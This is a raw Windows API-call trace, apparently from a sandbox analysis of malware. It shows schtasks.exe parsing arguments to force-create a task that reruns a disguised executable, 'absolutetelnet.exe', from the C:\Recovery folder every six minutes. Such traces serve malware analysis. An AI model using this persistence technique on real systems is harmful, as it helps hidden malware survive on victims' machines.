0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0144.174] GetLastError () returned 0x0 [0144.174] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.174] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.174] SetLastError (dwErrCode=0x0) [0144.174] SetLastError (dwErrCode=0x0) [0144.174] lstrlenW (lpString="/f") returned 2 [0144.174] lstrlenW (lpString="-/") returned 2 [0144.175] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.175] lstrlenW (lpString="create") returned 6 [0144.175] lstrlenW (lpString="create") returned 6 [0144.175] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.175] lstrlenW (lpString="f") returned 1 [0144.175] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.175] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.175] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.175] lstrlenW (lpString="|create|") returned 8 [0144.175] lstrlenW (lpString="|f|") returned 3 [0144.175] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0144.175] SetLastError (dwErrCode=0x490) [0144.175] lstrlenW (lpString="?") returned 1 [0144.175] lstrlenW (lpString="?") returned 1 [0144.175] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.175] lstrlenW (lpString="f") returned 1 [0144.175] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.175] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|?|") returned 3 [0144.175] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.175] lstrlenW (lpString="|?|") returned 3 [0144.175] lstrlenW (lpString="|f|") returned 3 [0144.175] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0144.175] SetLastError (dwErrCode=0x490) [0144.175] lstrlenW (lpString="s") returned 1 [0144.175] lstrlenW (lpString="s") returned 1 [0144.176] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.176] lstrlenW (lpString="f") returned 1 [0144.176] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.176] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|s|") returned 3 [0144.176] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.176] lstrlenW (lpString="|s|") returned 3 [0144.180] lstrlenW (lpString="|f|") returned 3 [0144.180] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0144.180] SetLastError (dwErrCode=0x490) [0144.180] lstrlenW (lpString="u") returned 1 [0144.180] lstrlenW (lpString="u") returned 1 [0144.180] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.180] lstrlenW (lpString="f") returned 1 [0144.180] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.180] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|u|") returned 3 [0144.180] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.180] lstrlenW (lpString="|u|") returned 3 [0144.180] lstrlenW (lpString="|f|") returned 3 [0144.180] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0144.180] SetLastError (dwErrCode=0x490) [0144.181] lstrlenW (lpString="p") returned 1 [0144.181] lstrlenW (lpString="p") returned 1 [0144.181] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.181] lstrlenW (lpString="f") returned 1 [0144.181] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.181] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|p|") returned 3 [0144.181] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.181] lstrlenW (lpString="|p|") returned 3 [0144.181] lstrlenW (lpString="|f|") returned 3 [0144.181] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0144.181] SetLastError (dwErrCode=0x490) [0144.181] lstrlenW (lpString="ru") returned 2 [0144.181] lstrlenW (lpString="ru") returned 2 [0144.181] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.181] lstrlenW (lpString="f") returned 1 [0144.181] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.181] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ru|") returned 4 [0144.181] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.181] lstrlenW (lpString="|ru|") returned 4 [0144.181] lstrlenW (lpString="|f|") returned 3 [0144.181] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0144.181] SetLastError (dwErrCode=0x490) [0144.181] lstrlenW (lpString="rp") returned 2 [0144.181] lstrlenW (lpString="rp") returned 2 [0144.181] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.182] lstrlenW (lpString="f") returned 1 [0144.182] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.182] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|rp|") returned 4 [0144.182] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.182] lstrlenW (lpString="|rp|") returned 4 [0144.182] lstrlenW (lpString="|f|") returned 3 [0144.182] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0144.182] SetLastError (dwErrCode=0x490) [0144.182] lstrlenW (lpString="sc") returned 2 [0144.182] lstrlenW (lpString="sc") returned 2 [0144.182] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.182] lstrlenW (lpString="f") returned 1 [0144.182] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.185] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.186] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.186] lstrlenW (lpString="|sc|") returned 4 [0144.186] lstrlenW (lpString="|f|") returned 3 [0144.186] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0144.186] SetLastError (dwErrCode=0x490) [0144.186] lstrlenW (lpString="mo") returned 2 [0144.186] lstrlenW (lpString="mo") returned 2 [0144.186] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.187] lstrlenW (lpString="f") returned 1 [0144.187] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.187] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.187] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.187] lstrlenW (lpString="|mo|") returned 4 [0144.187] lstrlenW (lpString="|f|") returned 3 [0144.187] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0144.187] SetLastError (dwErrCode=0x490) [0144.187] lstrlenW (lpString="d") returned 1 [0144.187] lstrlenW (lpString="d") returned 1 [0144.187] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.187] lstrlenW (lpString="f") returned 1 [0144.187] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.187] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|d|") returned 3 [0144.187] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.187] lstrlenW (lpString="|d|") returned 3 [0144.187] lstrlenW (lpString="|f|") returned 3 [0144.187] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0144.187] SetLastError (dwErrCode=0x490) [0144.187] lstrlenW (lpString="m") returned 1 [0144.187] lstrlenW (lpString="m") returned 1 [0144.187] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] lstrlenW (lpString="f") returned 1 [0144.188] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|m|") returned 3 [0144.188] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.188] lstrlenW (lpString="|m|") returned 3 [0144.188] lstrlenW (lpString="|f|") returned 3 [0144.188] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0144.188] SetLastError (dwErrCode=0x490) [0144.188] lstrlenW (lpString="i") returned 1 [0144.188] lstrlenW (lpString="i") returned 1 [0144.188] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] lstrlenW (lpString="f") returned 1 [0144.188] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|i|") returned 3 [0144.188] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.188] lstrlenW (lpString="|i|") returned 3 [0144.188] lstrlenW (lpString="|f|") returned 3 [0144.188] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0144.188] SetLastError (dwErrCode=0x490) [0144.188] lstrlenW (lpString="tn") returned 2 [0144.188] lstrlenW (lpString="tn") returned 2 [0144.188] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] lstrlenW (lpString="f") returned 1 [0144.188] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.188] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.189] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.189] lstrlenW (lpString="|tn|") returned 4 [0144.189] lstrlenW (lpString="|f|") returned 3 [0144.189] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0144.189] SetLastError (dwErrCode=0x490) [0144.189] lstrlenW (lpString="tr") returned 2 [0144.189] lstrlenW (lpString="tr") returned 2 [0144.189] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.189] lstrlenW (lpString="f") returned 1 [0144.189] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.189] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.189] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.189] lstrlenW (lpString="|tr|") returned 4 [0144.189] lstrlenW (lpString="|f|") returned 3 [0144.189] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0144.189] SetLastError (dwErrCode=0x490) [0144.189] lstrlenW (lpString="st") returned 2 [0144.189] lstrlenW (lpString="st") returned 2 [0144.189] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.189] lstrlenW (lpString="f") returned 1 [0144.189] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.189] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|st|") returned 4 [0144.189] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.189] lstrlenW (lpString="|st|") returned 4 [0144.189] lstrlenW (lpString="|f|") returned 3 [0144.190] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0144.190] SetLastError (dwErrCode=0x490) [0144.190] lstrlenW (lpString="sd") returned 2 [0144.190] lstrlenW (lpString="sd") returned 2 [0144.190] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.190] lstrlenW (lpString="f") returned 1 [0144.190] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.190] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sd|") returned 4 [0144.190] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.190] lstrlenW (lpString="|sd|") returned 4 [0144.190] lstrlenW (lpString="|f|") returned 3 [0144.190] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0144.190] SetLastError (dwErrCode=0x490) [0144.190] lstrlenW (lpString="ed") returned 2 [0144.190] lstrlenW (lpString="ed") returned 2 [0144.190] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.190] lstrlenW (lpString="f") returned 1 [0144.190] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.190] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ed|") returned 4 [0144.190] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.190] lstrlenW (lpString="|ed|") returned 4 [0144.190] lstrlenW (lpString="|f|") returned 3 [0144.190] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0144.190] SetLastError (dwErrCode=0x490) [0144.190] lstrlenW (lpString="it") returned 2 [0144.190] lstrlenW (lpString="it") returned 2 [0144.190] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] lstrlenW (lpString="f") returned 1 [0144.191] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|it|") returned 4 [0144.191] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.191] lstrlenW (lpString="|it|") returned 4 [0144.191] lstrlenW (lpString="|f|") returned 3 [0144.191] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0144.191] SetLastError (dwErrCode=0x490) [0144.191] lstrlenW (lpString="et") returned 2 [0144.191] lstrlenW (lpString="et") returned 2 [0144.191] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] lstrlenW (lpString="f") returned 1 [0144.191] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|et|") returned 4 [0144.191] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.191] lstrlenW (lpString="|et|") returned 4 [0144.191] lstrlenW (lpString="|f|") returned 3 [0144.191] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0144.191] SetLastError (dwErrCode=0x490) [0144.191] lstrlenW (lpString="k") returned 1 [0144.191] lstrlenW (lpString="k") returned 1 [0144.191] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] lstrlenW (lpString="f") returned 1 [0144.191] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.191] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|k|") returned 3 [0144.192] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.192] lstrlenW (lpString="|k|") returned 3 [0144.192] lstrlenW (lpString="|f|") returned 3 [0144.192] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0144.192] SetLastError (dwErrCode=0x490) [0144.192] lstrlenW (lpString="du") returned 2 [0144.192] lstrlenW (lpString="du") returned 2 [0144.200] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.256] lstrlenW (lpString="f") returned 1 [0144.256] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.256] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|du|") returned 4 [0144.256] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.256] lstrlenW (lpString="|du|") returned 4 [0144.256] lstrlenW (lpString="|f|") returned 3 [0144.256] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0144.260] SetLastError (dwErrCode=0x490) [0144.261] lstrlenW (lpString="ri") returned 2 [0144.261] lstrlenW (lpString="ri") returned 2 [0144.261] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.261] lstrlenW (lpString="f") returned 1 [0144.262] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.263] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ri|") returned 4 [0144.263] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.263] lstrlenW (lpString="|ri|") returned 4 [0144.263] lstrlenW (lpString="|f|") returned 3 [0144.263] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0144.264] SetLastError (dwErrCode=0x490) [0144.264] lstrlenW (lpString="z") returned 1 [0144.264] lstrlenW (lpString="z") returned 1 [0144.264] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.264] lstrlenW (lpString="f") returned 1 [0144.264] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.264] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|z|") returned 3 [0144.264] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.264] lstrlenW (lpString="|z|") returned 3 [0144.264] lstrlenW (lpString="|f|") returned 3 [0144.264] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0144.264] SetLastError (dwErrCode=0x490) [0144.264] lstrlenW (lpString="f") returned 1 [0144.265] lstrlenW (lpString="f") returned 1 [0144.265] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.265] lstrlenW (lpString="f") returned 1 [0144.265] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.265] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.265] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|f|") returned 3 [0144.265] lstrlenW (lpString="|f|") returned 3 [0144.265] lstrlenW (lpString="|f|") returned 3 [0144.266] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0144.266] SetLastError (dwErrCode=0x0) [0144.266] SetLastError (dwErrCode=0x0) [0144.266] GetProcessHeap () returned 0x2b0000 [0144.266] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd70 [0144.267] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.267] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0144.267] lstrlenW (lpString="MINUTE") returned 6 [0144.267] GetProcessHeap () returned 0x2b0000 [0144.267] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd570 [0144.267] GetThreadLocale () returned 0x409 [0144.267] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0144.267] SetLastError (dwErrCode=0x0) [0144.267] GetProcessHeap () returned 0x2b0000 [0144.267] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x1fc) returned 0x2cc440 [0144.267] GetProcessHeap () returned 0x2b0000 [0144.267] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd40 [0144.267] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.267] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0144.267] lstrlenW (lpString="First") returned 5 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd590 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd10 [0144.268] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.268] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0144.268] lstrlenW (lpString="Second") returned 6 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd5b0 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccce0 [0144.268] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.268] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0144.268] lstrlenW (lpString="Third") returned 5 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd5d0 [0144.268] GetProcessHeap () returned 0x2b0000 [0144.268] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccb0 [0144.268] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.268] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0144.268] lstrlenW (lpString="Fourth") returned 6 [0144.270] GetProcessHeap () returned 0x2b0000 [0144.270] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd5f0 [0144.271] GetProcessHeap () returned 0x2b0000 [0144.271] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc80 [0144.271] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.271] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0144.271] lstrlenW (lpString="Last") returned 4 [0144.271] GetProcessHeap () returned 0x2b0000 [0144.271] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cd610 [0144.271] lstrlenW (lpString="6") returned 1 [0144.271] _wtol (_String="6") returned 6 [0144.271] GetProcessHeap () returned 0x2b0000 [0144.271] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc50 [0144.271] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.271] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0144.272] lstrlenW (lpString="First") returned 5 [0144.272] GetProcessHeap () returned 0x2b0000 [0144.272] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd630 [0144.272] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.272] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0144.272] lstrlenW (lpString="Second") returned 6 [0144.272] GetProcessHeap () returned 0x2b0000 [0144.272] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd650 [0144.272] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.272] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0144.272] lstrlenW (lpString="Third") returned 5 [0144.272] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.273] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0144.273] lstrlenW (lpString="Fourth") returned 6 [0144.273] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.273] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0144.273] lstrlenW (lpString="Last") returned 4 [0144.273] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c640, cchData=128 | out: lpLCData="0") 